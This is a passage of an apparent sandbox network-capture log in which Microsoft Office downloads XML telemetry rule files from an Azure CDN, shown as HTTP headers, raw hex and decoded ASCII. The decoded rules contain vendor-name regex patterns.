49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	63755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:02 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:02 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: f60b378e-801e-0078-1b44-2cbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061602Z-16ccfc498976vdjnhC1DFW5ann00000001ug000000000tcx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:02 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	63753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:02 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:02 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 38f7ec36-301e-006e-4608-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061602Z-16ccfc49897b872mhC1DFWqtb000000001rg000000002ft7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:02 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	63757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:02 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:02 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: dbe51632-e01e-000c-1608-2c8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061602Z-16dc884887bbsmm2hC1DFWg5rw00000001ng00000000d2p4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:03 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	63760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:03 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:03 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 23dfde6d-e01e-0052-6a0f-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061603Z-r159446fcd79csp5hC1DFW5w2s000000019000000000752y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:03 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	63758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:03 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:03 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 0231f811-b01e-003d-2a30-2cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061603Z-r159446fcd77fkjdhC1DFWk94c00000001800000000007ay x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:03 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	63761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:03 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:03 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 445643c3-401e-0078-193e-2c4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061603Z-16ccfc49897x7dnlhC1DFWu7ac00000001r00000000091uy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:03 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	63759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:03 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:03 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 96ebe831-501e-007b-26b8-2b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061603Z-16ccfc49897bsnckhC1DFW699w00000001ug000000000v1e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:03 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	63762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:03 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:03 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 069b3e38-001e-0028-2008-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061603Z-16ccfc49897x7dnlhC1DFWu7ac00000001rg00000000895p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:03 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	63763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:04 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: a906e56b-601e-003d-1125-2c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061604Z-r159446fcd7rz5kshC1DFW2xxw000000010g000000003wub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	63764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:04 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:04 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9c5aad6b-101e-0034-384b-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061604Z-r159446fcd77fkjdhC1DFWk94c000000010g00000000ehqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:04 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	63765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:04 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 43d41d11-d01e-0028-575c-2b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061604Z-16ccfc49897x7dnlhC1DFWu7ac00000001rg000000008960 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	63766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:04 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:04 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: ab6d546f-401e-005b-4408-2c9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061604Z-16ccfc49897b872mhC1DFWqtb000000001q00000000061m7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
